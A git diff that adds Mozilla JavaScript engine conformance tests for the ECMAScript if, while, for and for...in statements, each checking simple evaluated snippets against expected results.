diff --git a/js/src/tests/ecma/Statements/12.5-1.js b/js/src/tests/ecma/Statements/12.5-1.js
new file mode 100644
index 000000000..c5bd6b593
--- /dev/null
+++ b/js/src/tests/ecma/Statements/12.5-1.js
@@ -0,0 +1,68 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 12.5-1.js
+ ECMA Section: The if statement
+ Description:
+
+ The production IfStatement : if ( Expression ) Statement else Statement
+ is evaluated as follows:
+
+ 1.Evaluate Expression.
+ 2.Call GetValue(Result(1)).
+ 3.Call ToBoolean(Result(2)).
+ 4.If Result(3) is false, go to step 7.
+ 5.Evaluate the first Statement.
+ 6.Return Result(5).
+ 7.Evaluate the second Statement.
+ 8.Return Result(7).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+
+var SECTION = "12.5-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The if statement";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+new TestCase( SECTION,
+ "var MYVAR; if ( true ) MYVAR='PASSED'; else MYVAR= 'FAILED';",
+ "PASSED",
+ eval("var MYVAR; if ( true ) MYVAR='PASSED'; else MYVAR= 'FAILED';") );
+
+new TestCase( SECTION,
+ "var MYVAR; if ( false ) MYVAR='FAILED'; else MYVAR= 'PASSED';",
+ "PASSED",
+ eval("var MYVAR; if ( false ) MYVAR='FAILED'; else MYVAR= 'PASSED';") );
+
+new TestCase( SECTION,
+ "var MYVAR; if ( new Boolean(true) ) MYVAR='PASSED'; else MYVAR= 'FAILED';",
+ "PASSED",
+ eval("var MYVAR; if ( new Boolean(true) ) MYVAR='PASSED'; else MYVAR= 'FAILED';") );
+
+new TestCase( SECTION,
+ "var MYVAR; if ( new Boolean(false) ) MYVAR='PASSED'; else MYVAR= 'FAILED';",
+ "PASSED",
+ eval("var MYVAR; if ( new Boolean(false) ) MYVAR='PASSED'; else MYVAR= 'FAILED';") );
+
+new TestCase( SECTION,
+ "var MYVAR; if ( 1 ) MYVAR='PASSED'; else MYVAR= 'FAILED';",
+ "PASSED",
+ eval("var MYVAR; if ( 1 ) MYVAR='PASSED'; else MYVAR= 'FAILED';") );
+
+new TestCase( SECTION,
+ "var MYVAR; if ( 0 ) MYVAR='FAILED'; else MYVAR= 'PASSED';",
+ "PASSED",
+ eval("var MYVAR; if ( 0 ) MYVAR='FAILED'; else MYVAR= 'PASSED';") );
+
+test();
+
diff --git a/js/src/tests/ecma/Statements/12.5-2.js b/js/src/tests/ecma/Statements/12.5-2.js
new file mode 100644
index 000000000..f7c58b02d
--- /dev/null
+++ b/js/src/tests/ecma/Statements/12.5-2.js
@@ -0,0 +1,65 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 12.5-2.js
+ ECMA Section: The if statement
+ Description:
+
+ The production IfStatement : if ( Expression ) Statement else Statement
+ is evaluated as follows:
+
+ 1.Evaluate Expression.
+ 2.Call GetValue(Result(1)).
+ 3.Call ToBoolean(Result(2)).
+ 4.If Result(3) is false, go to step 7.
+ 5.Evaluate the first Statement.
+ 6.Return Result(5).
+ 7.Evaluate the second Statement.
+ 8.Return Result(7).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "12.5-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The if statement" ;
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "var MYVAR; if ( true ) MYVAR='PASSED'; MYVAR",
+ "PASSED",
+ eval("var MYVAR; if ( true ) MYVAR='PASSED'; MYVAR") );
+
+new TestCase( SECTION,
+ "var MYVAR; if ( false ) MYVAR='FAILED'; MYVAR;",
+ "PASSED",
+ eval("var MYVAR=\"PASSED\"; if ( false ) MYVAR='FAILED'; MYVAR;") );
+
+new TestCase( SECTION,
+ "var MYVAR; if ( new Boolean(true) ) MYVAR='PASSED'; MYVAR",
+ "PASSED",
+ eval("var MYVAR; if ( new Boolean(true) ) MYVAR='PASSED'; MYVAR") );
+
+new TestCase( SECTION,
+ "var MYVAR; if ( new Boolean(false) ) MYVAR='PASSED'; MYVAR",
+ "PASSED",
+ eval("var MYVAR; if ( new Boolean(false) ) MYVAR='PASSED'; MYVAR") );
+
+new TestCase( SECTION,
+ "var MYVAR; if ( 1 ) MYVAR='PASSED'; MYVAR",
+ "PASSED",
+ eval("var MYVAR; if ( 1 ) MYVAR='PASSED'; MYVAR") );
+
+new TestCase( SECTION,
+ "var MYVAR; if ( 0 ) MYVAR='FAILED'; MYVAR;",
+ "PASSED",
+ eval("var MYVAR=\"PASSED\"; if ( 0 ) MYVAR='FAILED'; MYVAR;") );
+
+test();
diff --git a/js/src/tests/ecma/Statements/12.6.1-1.js b/js/src/tests/ecma/Statements/12.6.1-1.js
new file mode 100644
index 000000000..5a575f050
--- /dev/null
+++ b/js/src/tests/ecma/Statements/12.6.1-1.js
@@ -0,0 +1,40 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 12.6.1-1.js
+ ECMA Section: The while statement
+ Description:
+
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "12.6.1-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The While statement";
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+new TestCase( SECTION,
+ "var MYVAR = 0; while( MYVAR++ < 100) { if ( MYVAR < 100 ) break; } MYVAR ",
+ 1,
+ eval("var MYVAR = 0; while( MYVAR++ < 100) { if ( MYVAR < 100 ) break; } MYVAR "));
+
+new TestCase( SECTION,
+ "var MYVAR = 0; while( MYVAR++ < 100) { if ( MYVAR < 100 ) continue; else break; } MYVAR ",
+ 100,
+ eval("var MYVAR = 0; while( MYVAR++ < 100) { if ( MYVAR < 100 ) continue; else break; } MYVAR "));
+
+new TestCase( SECTION,
+ "function MYFUN( arg1 ) { while ( arg1++ < 100 ) { if ( arg1 < 100 ) return arg1; } }; MYFUN(1)",
+ 2,
+ eval("function MYFUN( arg1 ) { while ( arg1++ < 100 ) { if ( arg1 < 100 ) return arg1; } }; MYFUN(1)"));
+
+test();
+
diff --git a/js/src/tests/ecma/Statements/12.6.2-1.js b/js/src/tests/ecma/Statements/12.6.2-1.js
new file mode 100644
index 000000000..53f623412
--- /dev/null
+++ b/js/src/tests/ecma/Statements/12.6.2-1.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 12.6.2-1.js
+ ECMA Section: 12.6.2 The for Statement
+
+ 1. first expression is not present.
+ 2. second expression is not present
+ 3. third expression is not present
+
+
+ Author: christine@netscape.com
+ Date: 15 september 1997
+*/
+
+var SECTION = "12.6.2-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The for statement";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( "12.6.2-1", "for statement", 99, testprogram() );
+
+test();
+
+
+function testprogram() {
+ myVar = 0;
+
+ for ( ; ; ) {
+ if ( ++myVar == 99 )
+ break;
+ }
+
+ return myVar;
+}
diff --git a/js/src/tests/ecma/Statements/12.6.2-2.js b/js/src/tests/ecma/Statements/12.6.2-2.js
new file mode 100644
index 000000000..04a958c93
--- /dev/null
+++ b/js/src/tests/ecma/Statements/12.6.2-2.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 12.6.2-2.js
+ ECMA Section: 12.6.2 The for Statement
+
+ 1. first expression is not present.
+ 2. second expression is not present
+ 3. third expression is present
+
+
+ Author: christine@netscape.com
+ Date: 15 september 1997
+*/
+var SECTION = "12.6.2-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The for statement";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "for statement", 99, testprogram() );
+
+test();
+
+function testprogram() {
+ myVar = 0;
+
+ for ( ; ; myVar++ ) {
+ if ( myVar < 99 ) {
+ continue;
+ } else {
+ break;
+ }
+ }
+
+ return myVar;
+}
diff --git a/js/src/tests/ecma/Statements/12.6.2-3.js b/js/src/tests/ecma/Statements/12.6.2-3.js
new file mode 100644
index 000000000..049ba2500
--- /dev/null
+++ b/js/src/tests/ecma/Statements/12.6.2-3.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 12.6.2-3.js
+ ECMA Section: 12.6.2 The for Statement
+
+ 1. first expression is not present.
+ 2. second expression is present
+ 3. third expression is present
+
+
+ Author: christine@netscape.com
+ Date: 15 september 1997
+*/
+var SECTION = "12.6.2-3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The for statement";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "for statement", 100, testprogram() );
+
+test();
+
+function testprogram() {
+ myVar = 0;
+
+ for ( ; myVar < 100 ; myVar++ ) {
+ continue;
+ }
+
+ return myVar;
+}
diff --git a/js/src/tests/ecma/Statements/12.6.2-4.js b/js/src/tests/ecma/Statements/12.6.2-4.js
new file mode 100644
index 000000000..e9a0e7cf3
--- /dev/null
+++ b/js/src/tests/ecma/Statements/12.6.2-4.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 12.6.2-4.js
+ ECMA Section: 12.6.2 The for Statement
+
+ 1. first expression is not present.
+ 2. second expression is present
+ 3. third expression is present
+
+
+ Author: christine@netscape.com
+ Date: 15 september 1997
+*/
+
+var SECTION = "12.6.2-4";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The for statement";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "for statement", 100, testprogram() );
+
+test();
+
+function testprogram() {
+ myVar = 0;
+
+ for ( ; myVar < 100 ; myVar++ ) {
+ }
+
+ return myVar;
+}
diff --git a/js/src/tests/ecma/Statements/12.6.2-5.js b/js/src/tests/ecma/Statements/12.6.2-5.js
new file mode 100644
index 000000000..1386f04bd
--- /dev/null
+++ b/js/src/tests/ecma/Statements/12.6.2-5.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 12.6.2-5.js
+ ECMA Section: 12.6.2 The for Statement
+
+ 1. first expression is not present.
+ 2. second expression is present
+ 3. third expression is present
+
+
+ Author: christine@netscape.com
+ Date: 15 september 1997
+*/
+var SECTION = "12.6.2-5";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The for statement";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "for statement", 99, testprogram() );
+
+test();
+
+function testprogram() {
+ myVar = 0;
+
+ for ( ; myVar < 100 ; myVar++ ) {
+ if (myVar == 99)
+ break;
+ }
+
+ return myVar;
+}
diff --git a/js/src/tests/ecma/Statements/12.6.2-6.js b/js/src/tests/ecma/Statements/12.6.2-6.js
new file mode 100644
index 000000000..624ccbfba
--- /dev/null
+++ b/js/src/tests/ecma/Statements/12.6.2-6.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 12.6.2-6.js
+ ECMA Section: 12.6.2 The for Statement
+
+ 1. first expression is present.
+ 2. second expression is not present
+ 3. third expression is present
+
+
+ Author: christine@netscape.com
+ Date: 15 september 1997
+*/
+var SECTION = "12.6.2-6";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The for statement";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( "12.6.2-6", "for statement", 256, testprogram() );
+
+test();
+
+function testprogram() {
+ var myVar;
+
+ for ( myVar=2; ; myVar *= myVar ) {
+
+ if (myVar > 100)
+ break;
+ continue;
+ }
+
+ return myVar;
+}
diff --git a/js/src/tests/ecma/Statements/12.6.2-7.js b/js/src/tests/ecma/Statements/12.6.2-7.js
new file mode 100644
index 000000000..1038723b5
--- /dev/null
+++ b/js/src/tests/ecma/Statements/12.6.2-7.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 12.6.2-7.js
+ ECMA Section: 12.6.2 The for Statement
+
+ 1. first expression is present.
+ 2. second expression is not present
+ 3. third expression is present
+
+
+ Author: christine@netscape.com
+ Date: 15 september 1997
+*/
+var SECTION = "12.6.2-7";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The for statement";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "for statement", 256, testprogram() );
+
+test();
+
+function testprogram() {
+ var myVar;
+
+ for ( myVar=2; myVar < 100 ; myVar *= myVar ) {
+
+ continue;
+ }
+
+ return myVar;
+}
diff --git a/js/src/tests/ecma/Statements/12.6.2-8.js b/js/src/tests/ecma/Statements/12.6.2-8.js
new file mode 100644
index 000000000..d76fb35ab
--- /dev/null
+++ b/js/src/tests/ecma/Statements/12.6.2-8.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 12.6.2-8.js
+ ECMA Section: 12.6.2 The for Statement
+
+ 1. first expression is present.
+ 2. second expression is present
+ 3. third expression is present
+
+
+ Author: christine@netscape.com
+ Date: 15 september 1997
+*/
+var SECTION = "12.6.2-8";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The for statement";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "for statement", 256, testprogram() );
+
+test();
+
+function testprogram() {
+ var myVar;
+
+ for ( myVar=2; myVar < 256; myVar *= myVar ) {
+ }
+
+ return myVar;
+}
diff --git a/js/src/tests/ecma/Statements/12.6.2-9-n.js b/js/src/tests/ecma/Statements/12.6.2-9-n.js
new file mode 100644
index 000000000..2b5941111
--- /dev/null
+++ b/js/src/tests/ecma/Statements/12.6.2-9-n.js
@@ -0,0 +1,42 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 12.6.2-9-n.js
+ ECMA Section: 12.6.2 The for Statement
+
+ 1. first expression is not present.
+ 2. second expression is not present
+ 3. third expression is not present
+
+
+ Author: christine@netscape.com
+ Date: 15 september 1997
+*/
+
+
+var SECTION = "12.6.2-9-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The for statement";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "for (i)";
+EXPECTED = "error";
+
+new TestCase( SECTION,
+ "for (i)",
+ "error",
+ eval("for (i) { }") );
+
+/*
+ for (i) {
+ }
+
+*/
+test();
+
diff --git a/js/src/tests/ecma/Statements/12.6.3-1.js b/js/src/tests/ecma/Statements/12.6.3-1.js
new file mode 100644
index 000000000..06294d6d6
--- /dev/null
+++ b/js/src/tests/ecma/Statements/12.6.3-1.js
@@ -0,0 +1,29 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 12.6.3-1.js
+ ECMA Section: 12.6.3 The for...in Statement
+ Description:
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+
+var SECTION = "12.6.3-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The for..in statement";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "var x; Number.prototype.foo = 34; for ( j in 7 ) x = j; x",
+ "foo",
+ eval("var x; Number.prototype.foo = 34; for ( j in 7 ){x = j;} x") );
+
+test();
+
diff --git a/js/src/tests/ecma/Statements/12.6.3-10.js b/js/src/tests/ecma/Statements/12.6.3-10.js
new file mode 100644
index 000000000..8481458cf
--- /dev/null
+++ b/js/src/tests/ecma/Statements/12.6.3-10.js
@@ -0,0 +1,81 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 12.6.3-10.js
+ ECMA Section: 12.6.3 The for...in Statement
+ Description:
+ The production IterationStatement : for ( LeftHandSideExpression in Expression )
+ Statement is evaluated as follows:
+
+ 1. Evaluate the Expression.
+ 2. Call GetValue(Result(1)).
+ 3. Call ToObject(Result(2)).
+ 4. Let C be "normal completion".
+ 5. Get the name of the next property of Result(3) that doesn't have the
+ DontEnum attribute. If there is no such property, go to step 14.
+ 6. Evaluate the LeftHandSideExpression (it may be evaluated repeatedly).
+ 7. Call PutValue(Result(6), Result(5)). PutValue( V, W ):
+ 1. If Type(V) is not Reference, generate a runtime error.
+ 2. Call GetBase(V).
+ 3. If Result(2) is null, go to step 6.
+ 4. Call the [[Put]] method of Result(2), passing GetPropertyName(V)
+ for the property name and W for the value.
+ 5. Return.
+ 6. Call the [[Put]] method for the global object, passing
+ GetPropertyName(V) for the property name and W for the value.
+ 7. Return.
+ 8. Evaluate Statement.
+ 9. If Result(8) is a value completion, change C to be "normal completion
+ after value V" where V is the value carried by Result(8).
+ 10. If Result(8) is a break completion, go to step 14.
+ 11. If Result(8) is a continue completion, go to step 5.
+ 12. If Result(8) is a return completion, return Result(8).
+ 13. Go to step 5.
+ 14. Return C.
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "12.6.3-10";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The for..in statement";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// for ( LeftHandSideExpression in Expression )
+// LeftHandSideExpression:NewExpression:MemberExpression
+
+var count = 0;
+function f() { count++; return new Array("h","e","l","l","o"); }
+
+var result = "";
+for ( p in f() ) { result += f()[p] };
+
+new TestCase( SECTION,
+ "count = 0; result = \"\"; "+
+ "function f() { count++; return new Array(\"h\",\"e\",\"l\",\"l\",\"o\"); }"+
+ "for ( p in f() ) { result += f()[p] }; count",
+ 6,
+ count );
+
+new TestCase( SECTION,
+ "result",
+ "hello",
+ result );
+
+// LeftHandSideExpression:NewExpression:MemberExpression [ Expression ]
+// LeftHandSideExpression:NewExpression:MemberExpression . Identifier
+// LeftHandSideExpression:NewExpression:new MemberExpression Arguments
+// LeftHandSideExpression:NewExpression:PrimaryExpression:( Expression )
+// LeftHandSideExpression:CallExpression:MemberExpression Arguments
+// LeftHandSideExpression:CallExpression Arguments
+// LeftHandSideExpression:CallExpression [ Expression ]
+// LeftHandSideExpression:CallExpression . Identifier
+
+test();
+
diff --git a/js/src/tests/ecma/Statements/12.6.3-11.js b/js/src/tests/ecma/Statements/12.6.3-11.js
new file mode 100644
index 000000000..8e92635a9
--- /dev/null
+++ b/js/src/tests/ecma/Statements/12.6.3-11.js
@@ -0,0 +1,64 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 12.6.3-11.js
+ ECMA Section: 12.6.3 The for...in Statement
+ Description:
+ The production IterationStatement : for ( LeftHandSideExpression in Expression )
+ Statement is evaluated as follows:
+
+ 1. Evaluate the Expression.
+ 2. Call GetValue(Result(1)).
+ 3. Call ToObject(Result(2)).
+ 4. Let C be "normal completion".
+ 5. Get the name of the next property of Result(3) that doesn't have the
+ DontEnum attribute. If there is no such property, go to step 14.
+ 6. Evaluate the LeftHandSideExpression (it may be evaluated repeatedly).
+ 7. Call PutValue(Result(6), Result(5)). PutValue( V, W ):
+ 1. If Type(V) is not Reference, generate a runtime error.
+ 2. Call GetBase(V).
+ 3. If Result(2) is null, go to step 6.
+ 4. Call the [[Put]] method of Result(2), passing GetPropertyName(V)
+ for the property name and W for the value.
+ 5. Return.
+ 6. Call the [[Put]] method for the global object, passing
+ GetPropertyName(V) for the property name and W for the value.
+ 7. Return.
+ 8. Evaluate Statement.
+ 9. If Result(8) is a value completion, change C to be "normal completion
+ after value V" where V is the value carried by Result(8).
+ 10. If Result(8) is a break completion, go to step 14.
+ 11. If Result(8) is a continue completion, go to step 5.
+ 12. If Result(8) is a return completion, return Result(8).
+ 13. Go to step 5.
+ 14. Return C.
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "12.6.3-11";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The for..in statement";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// 5. Get the name of the next property of Result(3) that doesn't have the
+// DontEnum attribute. If there is no such property, go to step 14.
+
+var result = "";
+
+for ( p in Number ) { result += String(p) };
+
+new TestCase( SECTION,
+ "result = \"\"; for ( p in Number ) { result += String(p) };",
+ "",
+ result );
+
+test();
+
diff --git a/js/src/tests/ecma/Statements/12.6.3-12.js b/js/src/tests/ecma/Statements/12.6.3-12.js
new file mode 100644
index 000000000..140355800
--- /dev/null
+++ b/js/src/tests/ecma/Statements/12.6.3-12.js
@@ -0,0 +1,69 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 12.6.3-12.js
+ ECMA Section: 12.6.3 The for...in Statement
+ Description:
+
+ This is a regression test for http://bugzilla.mozilla.org/show_bug.cgi?id=9802.
+
+ The production IterationStatement : for ( LeftHandSideExpression in Expression )
+ Statement is evaluated as follows:
+
+ 1. Evaluate the Expression.
+ 2. Call GetValue(Result(1)).
+ 3. Call ToObject(Result(2)).
+ 4. Let C be "normal completion".
+ 5. Get the name of the next property of Result(3) that doesn't have the
+ DontEnum attribute. If there is no such property, go to step 14.
+ 6. Evaluate the LeftHandSideExpression (it may be evaluated repeatedly).
+ 7. Call PutValue(Result(6), Result(5)). PutValue( V, W ):
+ 1. If Type(V) is not Reference, generate a runtime error.
+ 2. Call GetBase(V).
+ 3. If Result(2) is null, go to step 6.
+ 4. Call the [[Put]] method of Result(2), passing GetPropertyName(V)
+ for the property name and W for the value.
+ 5. Return.
+ 6. Call the [[Put]] method for the global object, passing
+ GetPropertyName(V) for the property name and W for the value.
+ 7. Return.
+ 8. Evaluate Statement.
+ 9. If Result(8) is a value completion, change C to be "normal completion
+ after value V" where V is the value carried by Result(8).
+ 10. If Result(8) is a break completion, go to step 14.
+ 11. If Result(8) is a continue completion, go to step 5.
+ 12. If Result(8) is a return completion, return Result(8).
+ 13. Go to step 5.
+ 14. Return C.
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "12.6.3-12";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The for..in statement";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var result = "PASSED";
+
+for ( aVar in this ) {
+ if (aVar == "aVar") {
+ result = "FAILED"
+ }
+};
+
+new TestCase(
+ SECTION,
+ "var result=''; for ( aVar in this ) { " +
+ "if (aVar == 'aVar') {return a failure}; result",
+ "PASSED",
+ result );
+
+test();
+
diff --git a/js/src/tests/ecma/Statements/12.6.3-19.js b/js/src/tests/ecma/Statements/12.6.3-19.js
new file mode 100644
index 000000000..fce562cbb
--- /dev/null
+++ b/js/src/tests/ecma/Statements/12.6.3-19.js
@@ -0,0 +1,83 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 12.6.3-1.js
+ ECMA Section: 12.6.3 The for...in Statement
+ Description:
+ The production IterationStatement : for ( LeftHandSideExpression in Expression )
+ Statement is evaluated as follows:
+
+ 1. Evaluate the Expression.
+ 2. Call GetValue(Result(1)).
+ 3. Call ToObject(Result(2)).
+ 4. Let C be "normal completion".
+ 5. Get the name of the next property of Result(3) that doesn't have the
+ DontEnum attribute. If there is no such property, go to step 14.
+ 6. Evaluate the LeftHandSideExpression (it may be evaluated repeatedly).
+ 7. Call PutValue(Result(6), Result(5)). PutValue( V, W ):
+ 1. If Type(V) is not Reference, generate a runtime error.
+ 2. Call GetBase(V).
+ 3. If Result(2) is null, go to step 6.
+ 4. Call the [[Put]] method of Result(2), passing GetPropertyName(V)
+ for the property name and W for the value.
+ 5. Return.
+ 6. Call the [[Put]] method for the global object, passing
+ GetPropertyName(V) for the property name and W for the value.
+ 7. Return.
+ 8. Evaluate Statement.
+ 9. If Result(8) is a value completion, change C to be "normal completion
+ after value V" where V is the value carried by Result(8).
+ 10. If Result(8) is a break completion, go to step 14.
+ 11. If Result(8) is a continue completion, go to step 5.
+ 12. If Result(8) is a return completion, return Result(8).
+ 13. Go to step 5.
+ 14. Return C.
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "12.6.3-4";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The for..in statement";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// for ( LeftHandSideExpression in Expression )
+// LeftHandSideExpression:NewExpression:MemberExpression
+
+var count = 0;
+function f() { count++; return new Array("h","e","l","l","o"); }
+
+var result = "";
+for ( p in f() ) { result += f()[p] };
+
+new TestCase( SECTION,
+ "count = 0; result = \"\"; "+
+ "function f() { count++; return new Array(\"h\",\"e\",\"l\",\"l\",\"o\"); }"+
+ "for ( p in f() ) { result += f()[p] }; count",
+ 6,
+ count );
+
+new TestCase( SECTION,
+ "result",
+ "hello",
+ result );
+
+
+
+// LeftHandSideExpression:NewExpression:MemberExpression [ Expression ]
+// LeftHandSideExpression:NewExpression:MemberExpression . Identifier
+// LeftHandSideExpression:NewExpression:new MemberExpression Arguments
+// LeftHandSideExpression:NewExpression:PrimaryExpression:( Expression )
+// LeftHandSideExpression:CallExpression:MemberExpression Arguments
+// LeftHandSideExpression:CallExpression Arguments
+// LeftHandSideExpression:CallExpression [ Expression ]
+// LeftHandSideExpression:CallExpression . Identifier
+
+test();
+
diff --git a/js/src/tests/ecma/Statements/12.6.3-2.js b/js/src/tests/ecma/Statements/12.6.3-2.js
new file mode 100644
index 000000000..bbd0a1bed
--- /dev/null
+++ b/js/src/tests/ecma/Statements/12.6.3-2.js
@@ -0,0 +1,29 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 12.6.3-2.js
+ ECMA Section: 12.6.3 The for...in Statement
+ Description: Check the Boolean Object
+
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+
+var SECTION = "12.6.3-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The for..in statement";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Boolean.prototype.foo = 34; for ( j in Boolean ) Boolean[j]",
+ 34,
+ eval("Boolean.prototype.foo = 34; for ( j in Boolean ) Boolean[j] ") );
+
+test();
